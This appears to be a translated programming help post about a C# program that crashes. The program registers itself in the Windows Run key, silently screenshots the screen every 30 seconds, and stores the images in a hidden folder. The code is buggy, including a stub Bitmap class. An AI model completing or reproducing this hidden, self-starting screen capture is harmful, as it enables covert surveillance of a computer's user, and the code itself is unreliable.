<分区>
我已多次调试我的 C# 代码并查看结果以修复我的代码。我已经修复了每个错误,直到没有更多错误为止。我构建了我的程序,但是当我开始它的时候,它只在那里呆了一分钟就崩溃了。我不知道我的代码有什么问题。
我使用的是 Visual Studio 2017。此外,我的程序应该每 30 秒截取一次屏幕截图,然后将它们保存到 C 盘上名为 SysApp 的文件夹中。
代码:
using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Windows;
namespace SysApp
{
static class Program
{
static void Main()
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
Assembly curAssembly = Assembly.GetExecutingAssembly();
key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
Console.WriteLine(curAssembly.GetName());
}
catch { }
int n = 0;
while (n == 0)
{
Thread.Sleep(30000);
OnTimedEvent();
}
}
public static string st = "";
public static string date = "";
public static string month = "";
public static string year = "";
public static string time = "";
public static string hour = "";
public static string min = "";
public static string sec = "";
private static void OnTimedEvent()
{
st = DateTime.Today.Date.ToString();
time = DateTime.Now.TimeOfDay.ToString();
hour = DateTime.Now.Hour.ToString();
min = DateTime.Now.Minute.ToString();
sec = DateTime.Now.Second.ToString();
date = DateTime.Today.Day.ToString();
month = DateTime.Today.Month.ToString();
year = DateTime.Today.Year.ToString();
Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);
Bitmap memoryImage;
memoryImage = new Bitmap(1000, 800);
Size s = new Size(memoryImage.Width, memoryImage.Height);
Graphics memoryGraphics = Graphics.FromImage(memoryImage);
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string str = "";
if (Directory.Exists("C:\\SysApp"))
{
Console.WriteLine("directory exits");
}
else
{
Directory.CreateDirectory("C:\\SysApp");
File.SetAttributes("C:\\SysApp", FileAttributes.Hidden);
Console.WriteLine("new directory created");
}
//---------------------------------------
str = string.Format("C:\\SysApp\\screen {0}_{1}.png", date + month + year, hour + min + sec);
try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}
}
}
internal class Bitmap
{
private int v1;
private int v2;
public Bitmap(int v1, int v2)
{
this.v1 = v1;
this.v2 = v2;
}
public double Width { get; internal set; }
public double Height { get; internal set; }
internal void Save(string str)
{
throw new NotImplementedException();
}
}
}